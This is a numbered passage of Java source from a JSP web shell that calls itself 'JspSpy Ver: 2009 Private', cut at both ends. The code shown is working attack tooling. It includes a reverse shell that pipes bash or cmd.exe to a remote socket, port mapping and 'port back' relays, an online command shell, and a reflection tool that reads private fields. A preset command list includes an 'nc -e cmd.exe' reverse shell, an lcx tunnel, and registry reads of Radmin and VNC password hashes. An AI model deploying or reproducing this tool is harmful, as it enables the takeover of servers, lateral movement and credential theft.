  2231. if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  2232. tmpBase += "/";
  2233. zipDir(ff,tmpBase+f.getName(),zout);
  2234. }
  2235. } else {
  2236. String tmpBase = base;
  2237. if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
  2238. tmpBase += "/";
  2239. zipFile(f,tmpBase,zout);
  2240. }
  2241.  
  2242. }
  2243. public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
  2244. if (this.config) {
  2245. String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
  2246. if (this.extFilter.equals("blacklist")) {
  2247. if (Util.exists(this.fileExts,ext)) {
  2248. return;
  2249. }
  2250. } else if (this.extFilter.equals("whitelist")) {
  2251. if (!Util.exists(this.fileExts,ext)) {
  2252. return;
  2253. }
  2254. }
  2255. if (!this.sizeFilter.equals("no")) {
  2256. double size = f.length() / 1024;
  2257. if (this.sizeFilter.equals("greaterthan")) {
  2258. if (size < filesize)
  2259. return;
  2260. } else if (this.sizeFilter.equals("lessthan")) {
  2261. if (size > filesize)
  2262. return;
  2263. }
  2264. }
  2265. }
  2266. ZipEntry entry = new ZipEntry(base+f.getName());
  2267. zout.putNextEntry(entry);
  2268. FileInputStream fInput = new FileInputStream(f);
  2269. int len = 0;
  2270. byte[] buf = new byte[1024];
  2271. while ((len = fInput.read(buf)) != -1) {
  2272. zout.write(buf, 0, len);
  2273. zout.flush();
  2274. }
  2275. fInput.close();
  2276. }
  2277. }
  2278. private static class UnPackInvoker extends DefaultInvoker {
  2279. public boolean doBefore(){return false;}
  2280. public boolean doAfter(){return false;}
  2281. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2282. try {
  2283. String savepath = request.getParameter("savepath");
  2284. String zipfile = request.getParameter("zipfile");
  2285. if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
  2286. return;
  2287. File save = new File(savepath);
  2288. save.mkdirs();
  2289. ZipFile file = new ZipFile(new File(zipfile));
  2290. Enumeration e = file.entries();
  2291. while (e.hasMoreElements()) {
  2292. ZipEntry en = (ZipEntry) e.nextElement();
  2293. String entryPath = en.getName();
  2294. int index = entryPath.lastIndexOf("/");
  2295. if (index != -1)
  2296. entryPath = entryPath.substring(0,index);
  2297. File absEntryFile = new File(save,entryPath);
  2298. if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
  2299. absEntryFile.mkdirs();
  2300. BufferedOutputStream output = null;
  2301. BufferedInputStream input = null;
  2302. try {
  2303. output = new BufferedOutputStream(
  2304. new FileOutputStream(new File(save,en.getName())));
  2305. input = new BufferedInputStream(
  2306. file.getInputStream(en));
  2307. byte[] b = new byte[1024];
  2308. int len = input.read(b);
  2309. while (len != -1) {
  2310. output.write(b, 0, len);
  2311. len = input.read(b);
  2312. }
  2313. } catch (Exception ex) {
  2314. } finally {
  2315. try {
  2316. if (output != null)
  2317. output.close();
  2318. if (input != null)
  2319. input.close();
  2320. } catch (Exception ex1) {
  2321. }
  2322. }
  2323. }
  2324. file.close();
  2325. JSession.setAttribute(MSG,"UnPack File Success!");
  2326. response.sendRedirect(SHELL_NAME);
  2327. } catch (Exception e) {
  2328.  
  2329. throw e ;
  2330. }
  2331. }
  2332. }
  2333. //VMapPort
  2334. private static class VmpInvoker extends DefaultInvoker {
  2335. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2336. try {
  2337. PrintWriter out = response.getWriter();
  2338. Object localIP = JSession.getAttribute("localIP");
  2339. Object localPort = JSession.getAttribute("localPort");
  2340. Object remoteIP = JSession.getAttribute("remoteIP");
  2341. Object remotePort = JSession.getAttribute("remotePort");
  2342. Object done = JSession.getAttribute("done");
  2343.  
  2344. JSession.removeAttribute("localIP");
  2345. JSession.removeAttribute("localPort");
  2346. JSession.removeAttribute("remoteIP");
  2347. JSession.removeAttribute("remotePort");
  2348. JSession.removeAttribute("done");
  2349.  
  2350. if (Util.isEmpty(localIP))
  2351. localIP = InetAddress.getLocalHost().getHostAddress();
  2352. if (Util.isEmpty(localPort))
  2353. localPort = "3389";
  2354. if (Util.isEmpty(remoteIP))
  2355. remoteIP = "www.google.com";
  2356. if (Util.isEmpty(remotePort))
  2357. remotePort = "80";
  2358. if (!Util.isEmpty(done))
  2359. Util.outMsg(out,done.toString());
  2360.  
  2361. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2362. "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
  2363. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2364. " <tr>"+
  2365. " <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"+
  2366. " <div id=\"hOWTm\">"+
  2367. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2368. " <tr align=\"center\">"+
  2369. " <td style=\"width:5%\"></td>"+
  2370. " <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
  2371. " <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
  2372. " </td>"+
  2373. " <td style=\"width:20%\" align=\"left\">Local Port :"+
  2374. " <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
  2375. " <td style=\"width:20%\" align=\"left\">Remote Ip :"+
  2376. " <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
  2377. " <td style=\"width:20%\" align=\"left\">Remote Port :"+
  2378. " <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
  2379. " </tr>"+
  2380. " <tr align=\"center\">"+
  2381. " <td colspan=\"5\"><br/>"+
  2382. " <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
  2383. " <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
  2384. " </td>"+
  2385. " </tr>"+
  2386. " </table>"+
  2387. " </div>"+
  2388. "</td>"+
  2389. "</tr>"+
  2390. "</table>"+
  2391. "</form>");
  2392. String targetIP = request.getParameter("targetIP");
  2393. String targetPort = request.getParameter("targetPort");
  2394. String yourIP = request.getParameter("yourIP");
  2395. String yourPort = request.getParameter("yourPort");
  2396. if (Util.isEmpty(targetIP))
  2397. targetIP = "127.0.0.1";
  2398. if (Util.isEmpty(targetPort))
  2399. targetPort = "3389";
  2400. if (Util.isEmpty(yourIP))
  2401. yourIP = request.getRemoteAddr();
  2402. if (Util.isEmpty(yourPort))
  2403. yourPort = "53";
  2404. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2405. "<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
  2406. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2407. " <tr>"+
  2408. " <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"+
  2409. " <div id=\"hOWTm\">"+
  2410. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2411. " <tr align=\"center\">"+
  2412. " <td style=\"width:5%\"></td>"+
  2413. " <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
  2414. " <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
  2415. " </td>"+
  2416. " <td style=\"width:20%\" align=\"left\">Target Port :"+
  2417. " <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
  2418. " <td style=\"width:20%\" align=\"left\">Your Ip :"+
  2419. " <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
  2420. " <td style=\"width:20%\" align=\"left\">Your Port :"+
  2421. " <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
  2422. " </tr>"+
  2423. " <tr align=\"center\">"+
  2424. " <td colspan=\"5\"><br/>"+
  2425. " <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
  2426. " </td>"+
  2427. " </tr>"+
  2428. " </table>"+
  2429. " </div>"+
  2430. "</td>"+
  2431. "</tr>"+
  2432. "</table>"+
  2433. "</form>");
  2434. } catch (Exception e) {
  2435.  
  2436. throw e ;
  2437. }
  2438. }
  2439. }
  2440. //StopMapPort
  2441. private static class SmpInvoker extends DefaultInvoker {
  2442. public boolean doAfter(){return true;}
  2443. public boolean doBefore(){return true;}
  2444. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2445. try {
  2446. Object obj = JSession.getAttribute(PORT_MAP);
  2447. if (obj != null) {
  2448. ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
  2449. server.close();
  2450. }
  2451. JSession.setAttribute("done","Stop Success!");
  2452. ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
  2453. } catch (Exception e) {
  2454.  
  2455. throw e ;
  2456. }
  2457. }
  2458. }
  2459. //PortBack
  2460. private static class PortBackInvoker extends DefaultInvoker {
  2461. public boolean doAfter(){return true;}
  2462. public boolean doBefore(){return true;}
  2463. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2464. try {
  2465. String targetIP = request.getParameter("targetIP");
  2466. String targetPort = request.getParameter("targetPort");
  2467. String yourIP = request.getParameter("yourIP");
  2468. String yourPort = request.getParameter("yourPort");
  2469. Socket yourS = new Socket();
  2470. yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
  2471. Socket targetS = new Socket();
  2472. targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
  2473. StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
  2474. StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
  2475. JSession.setAttribute("done","Port Back Success !");
  2476. ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
  2477. } catch (Exception e) {
  2478.  
  2479. throw e ;
  2480. }
  2481. }
  2482. }
  2483. private static class MapPortInvoker extends DefaultInvoker {
  2484. public boolean doBefore(){return false;}
  2485. public boolean doAfter(){return false;}
  2486. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2487. try {
  2488. PrintWriter out = response.getWriter();
  2489. String localIP = request.getParameter("localIP");
  2490. String localPort = request.getParameter("localPort");
  2491. final String remoteIP = request.getParameter("remoteIP");
  2492. final String remotePort = request.getParameter("remotePort");
  2493. if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
  2494. return;
  2495. Object obj = JSession.getAttribute(PORT_MAP);
  2496. if (obj != null) {
  2497. ServerSocket s = (ServerSocket)obj;
  2498. s.close();
  2499. }
  2500. final ServerSocket server = new ServerSocket();
  2501. server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
  2502. JSession.setAttribute(PORT_MAP,server);
  2503. new Thread(new Runnable(){
  2504. public void run(){
  2505. while (true) {
  2506. Socket soc = null;
  2507. Socket remoteSoc = null;
  2508. DataInputStream remoteIn = null;
  2509. DataOutputStream remoteOut = null;
  2510. DataInputStream localIn = null;
  2511. DataOutputStream localOut = null;
  2512. try{
  2513. soc = server.accept();
  2514. remoteSoc = new Socket();
  2515. remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
  2516. remoteIn = new DataInputStream(remoteSoc.getInputStream());
  2517. remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
  2518. localIn = new DataInputStream(soc.getInputStream());
  2519. localOut = new DataOutputStream(soc.getOutputStream());
  2520. StreamConnector.readFromLocal(localIn,remoteOut);
  2521. StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
  2522. }catch(Exception ex)
  2523. {
  2524. break;
  2525. }
  2526. }
  2527. }
  2528.  
  2529. }).start();
  2530. JSession.setAttribute("done","Map Port Success!");
  2531. JSession.setAttribute("localIP",localIP);
  2532. JSession.setAttribute("localPort",localPort);
  2533. JSession.setAttribute("remoteIP",remoteIP);
  2534. JSession.setAttribute("remotePort",remotePort);
  2535. JSession.setAttribute(SESSION_O,"vmp");
  2536. response.sendRedirect(SHELL_NAME);
  2537. } catch (Exception e) {
  2538.  
  2539. throw e ;
  2540. }
  2541. }
  2542. }
  2543. //VBackConnect
  2544. private static class VbcInvoker extends DefaultInvoker {
  2545. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2546. try {
  2547. PrintWriter out = response.getWriter();
  2548. Object ip = JSession.getAttribute("ip");
  2549. Object port = JSession.getAttribute("port");
  2550. Object program = JSession.getAttribute("program");
  2551. Object done = JSession.getAttribute("done");
  2552. JSession.removeAttribute("ip");
  2553. JSession.removeAttribute("port");
  2554. JSession.removeAttribute("program");
  2555. JSession.removeAttribute("done");
  2556. if (Util.isEmpty(ip))
  2557. ip = request.getRemoteAddr();
  2558. if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
  2559. port = "53";
  2560. if (Util.isEmpty(program)) {
  2561. if (ISLINUX)
  2562. program = "/bin/bash";
  2563. else
  2564. program = "cmd.exe";
  2565. }
  2566.  
  2567. if (!Util.isEmpty(done))
  2568. Util.outMsg(out,done.toString());
  2569. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2570. "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
  2571. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2572. " <tr>"+
  2573. " <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"+
  2574. " <div id=\"hOWTm\">"+
  2575. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2576. " <tr align=\"center\">"+
  2577. " <td style=\"width:5%\"></td>"+
  2578. " <td align=\"center\">Your Ip :"+
  2579. " <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
  2580. " Your Port :"+
  2581. " <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
  2582. " <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
  2583. " </tr>"+
  2584. " <tr align=\"center\">"+
  2585. " <td colspan=\"2\"><br/>"+
  2586. " <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
  2587. " </td>"+
  2588. " </tr>"+
  2589. " </table>"+
  2590. " </div>"+
  2591. "</td>"+
  2592. "</tr>"+
  2593. "</table>"+
  2594. "</form>");
  2595. } catch (Exception e) {
  2596.  
  2597. throw e ;
  2598. }
  2599. }
  2600. }
  2601. private static class BackConnectInvoker extends DefaultInvoker {
  2602. public boolean doAfter(){return false;}
  2603. public boolean doBefore(){return false;}
  2604. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2605. try {
  2606. String ip = request.getParameter("ip");
  2607. String port = request.getParameter("port");
  2608. String program = request.getParameter("program");
  2609. if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
  2610. return;
  2611. Socket socket = new Socket(ip,Integer.parseInt(port));
  2612. Process process = Runtime.getRuntime().exec(program);
  2613. (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
  2614. (new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
  2615. (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
  2616. JSession.setAttribute("done","Back Connect Success!");
  2617. JSession.setAttribute("ip",ip);
  2618. JSession.setAttribute("port",port);
  2619. JSession.setAttribute("program",program);
  2620. JSession.setAttribute(SESSION_O,"vbc");
  2621. response.sendRedirect(SHELL_NAME);
  2622. } catch (Exception e) {
  2623.  
  2624. throw e ;
  2625. }
  2626. }
  2627. }
  2628. private static class JspEnvInvoker extends DefaultInvoker {
  2629. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2630. try {
  2631. PrintWriter out = response.getWriter();
  2632. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2633. " <tr>"+
  2634. " <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"+
  2635. " <div id=\"ghaB\">"+
  2636. " <hr/>"+
  2637. " <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2638. Properties pro = System.getProperties();
  2639. Enumeration names = pro.propertyNames();
  2640. while (names.hasMoreElements()){
  2641. String name = (String)names.nextElement();
  2642. out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
  2643. }
  2644. out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2645. /*
  2646. Map envs = System.getenv();
  2647. Set<Map.Entry<String,String>> entrySet = envs.entrySet();
  2648. for (Map.Entry<String,String> en:entrySet) {
  2649. out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
  2650. }*/
  2651. out.println("</ul></div></td>"+
  2652. " </tr>"+
  2653. " </table>");
  2654. } catch (Exception e) {
  2655.  
  2656. throw e ;
  2657. }
  2658. }
  2659. }
  2660. private static class ReflectInvoker extends DefaultInvoker {
  2661. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2662. try {
  2663. PrintWriter out = response.getWriter();
  2664. String c = request.getParameter("Class");
  2665. Class cls = null;
  2666. try {
  2667. if (!Util.isEmpty(c))
  2668. cls = Class.forName(c);
  2669. } catch (ClassNotFoundException ex) {
  2670. Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
  2671. }
  2672. out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
  2673. " <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
  2674. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2675. " <tr>"+
  2676. " <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"+
  2677. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2678. " <tr>"+
  2679. " <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
  2680. " <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
  2681. " </tr>"+
  2682. " "+
  2683. " </table>"+
  2684. " </td>"+
  2685. " </tr>"+
  2686. " </table>"+
  2687. "</form>");
  2688.  
  2689. if (cls != null) {
  2690. StringBuffer sb = new StringBuffer();
  2691. if (cls.getPackage() != null)
  2692. sb.append("package "+cls.getPackage().getName()+";\n");
  2693. String n = null;
  2694. if (cls.isInterface())
  2695. n = "";
  2696. //else if (cls.isEnum())
  2697. // n = "enum";
  2698. else
  2699. n = "class";
  2700. sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
  2701. if (cls.getSuperclass() != null)
  2702. sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
  2703. if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
  2704. Class[] faces = cls.getInterfaces();
  2705. sb.append("\t implements ");
  2706. for (int i = 0;i<faces.length;i++) {
  2707. sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
  2708. if (i != faces.length -1) {
  2709. sb.append(",");
  2710. }
  2711. }
  2712. }
  2713. sb.append("{\n\t\n");
  2714. sb.append("\t//constructors..\n");
  2715. Constructor[] cs = cls.getConstructors();
  2716. for (int i = 0;i<cs.length;i++) {
  2717. Constructor cc = cs[i];
  2718. sb.append("\t"+cc+";\n");
  2719. }
  2720. sb.append("\n\t//fields\n");
  2721. Field[] fs = cls.getDeclaredFields();
  2722. for (int i =0;i<fs.length;i++) {
  2723. Field f = fs[i];
  2724. sb.append("\t"+f.toString()+";");
  2725. if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
  2726. sb.append("\t//value is : ");
  2727. f.setAccessible(true);
  2728. Object obj = f.get(null);
  2729. sb.append("<span style='color:red'>");
  2730. if (obj != null)
  2731. sb.append(obj.toString());
  2732. else
  2733. sb.append("NULL");
  2734.  
  2735. sb.append("</span>");
  2736. }
  2737. sb.append("\n");
  2738. }
  2739.  
  2740. sb.append("\n\t//methods\n");
  2741. Method[] ms = cls.getDeclaredMethods();
  2742. for (int i =0;i<ms.length;i++) {
  2743. Method m = ms[i];
  2744. sb.append("\t"+ m.toString()+";\n");
  2745. }
  2746. sb.append("}\n");
  2747. String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t","&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll("\n","<br/>")+"</span>";
  2748. Util.outMsg(out,m,"left");
  2749. }
  2750. } catch (Exception e) {
  2751. throw e;
  2752. }
  2753. }
  2754. }
  2755. private static class TopInvoker extends DefaultInvoker {
  2756. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2757. try {
  2758. PrintWriter out = response.getWriter();
  2759. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
  2760. "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
  2761. " <tr class=\"head\">"+
  2762. " <td><span style=\"float:right;\">JspSpy Ver: 2009 Private</span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
  2763. " </tr>"+
  2764. " <tr class=\"alt1\">"+
  2765. " <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
  2766. " <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
  2767. " <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
  2768. " <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
  2769. " <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
  2770. " <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
  2771. " <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
  2772. " <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
  2773. " <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
  2774. " <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
  2775. " <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
  2776. " <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
  2777. " <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
  2778. " <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
  2779. " <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
  2780. " </tr>"+
  2781. "</table>");
  2782. if (JSession.getAttribute(MSG) != null) {
  2783. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  2784. JSession.removeAttribute(MSG);
  2785. }
  2786. if (JSession.getAttribute(ENTER_MSG) != null) {
  2787. String outEntry = request.getParameter("outentry");
  2788. if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
  2789. Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
  2790. }
  2791. } catch (Exception e) {
  2792.  
  2793. throw e ;
  2794. }
  2795. }
  2796. }
  2797. private static class VOnLineShellInvoker extends DefaultInvoker {
  2798. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2799. try {
  2800. PrintWriter out = response.getWriter();
  2801. out.println("<script>"+
  2802. " function $(id) {"+
  2803. " return document.getElementById(id);"+
  2804. " }"+
  2805. " var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
  2806. " window.onload = function(){"+
  2807. " setInterval(function(){"+
  2808. " if ($(\"autoscroll\").checked)"+
  2809. " {"+
  2810. " var f = window.frames[\"echo\"];"+
  2811. " if (f && f.document && f.document.body)"+
  2812. " {"+
  2813. " if (!ie)"+
  2814. " {"+
  2815. " if (f.document.body.offsetHeight)"+
  2816. " {"+
  2817. " f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
  2818. " }"+
  2819. " } else {"+
  2820. " f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
  2821. " }"+
  2822. " }"+
  2823. " }"+
  2824. " },500);"+
  2825. " }"+
  2826. " </script>");
  2827. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2828. " <tr>"+
  2829. " <td>");
  2830. out.println("<h2>Shell OnLine &raquo;</h2><br/>");
  2831. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
  2832. " <input type=\"submit\" value=\" start \" class=\"bt\">"+
  2833. " <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
  2834. " <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
  2835. " </form>"+
  2836. " <hr/>"+
  2837. " <iframe class=\"secho\" name=\"echo\" src=\"\">"+
  2838. " </iframe>"+
  2839. " <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
  2840. " <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
  2841. " <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
  2842. " <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
  2843. " <option value=\"\" selected> </option>"+
  2844. " <option value=\"uname -a\">uname -a</option>"+
  2845. " <option value=\"cat /etc/issue\">issue</option>"+
  2846. " <option value=\"cat /etc/passwd\">passwd</option>"+
  2847. " <option value=\"netstat -an\">netstat -an</option>"+
  2848. " <option value=\"net user\">net user</option>"+
  2849. " <option value=\"tasklist\">tasklist</option>"+
  2850. " <option value=\"tasklist /svc\">tasklist /svc</option>"+
  2851. " <option value=\"net start\">net start</option>"+
  2852. " <option value=\"net stop policyagent /yes\">net stop</option>"+
  2853. " <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
  2854. " <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
  2855. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
  2856. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
  2857. " <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
  2858. " <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
  2859. " <option value=\"systeminfo\">systeminfo</option>"+
  2860. " <option value=\"net localgroup\">view groups</option>"+
  2861. " <option value=\"net localgroup administrators\">view admins</option>"+
  2862. " </select>"+
  2863. " <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
  2864. " <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
  2865. " </form>"+
  2866. " <iframe style=\"display:none\" name=\"asyn\"></iframe>"
  2867. );
  2868. out.println(" </td>"+
  2869. " </tr>"+
  2870. "</table>");
  2871. } catch (Exception e) {
  2872. throw e ;
  2873. }
  2874. }
  2875. }
  2876. private static class OnLineInvoker extends DefaultInvoker {
  2877. public boolean doBefore(){return false;}
  2878. public boolean doAfter(){return false;}
  2879. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2880. try {
  2881. String type = request.getParameter("type");
  2882. if (Util.isEmpty(type))
  2883. return;
  2884. if (type.toLowerCase().equals("start")) {
  2885. String exe = request.getParameter("exe");
  2886. if (Util.isEmpty(exe))
  2887. return;
  2888. Process pro = Runtime.getRuntime().exec(exe);
  2889. ByteArrayOutputStream outs = new ByteArrayOutputStream();
  2890. response.setContentLength(100000000);
  2891. response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
  2892. OnLineProcess olp = new OnLineProcess(pro);
  2893. JSession.setAttribute(SHELL_ONLINE,olp);
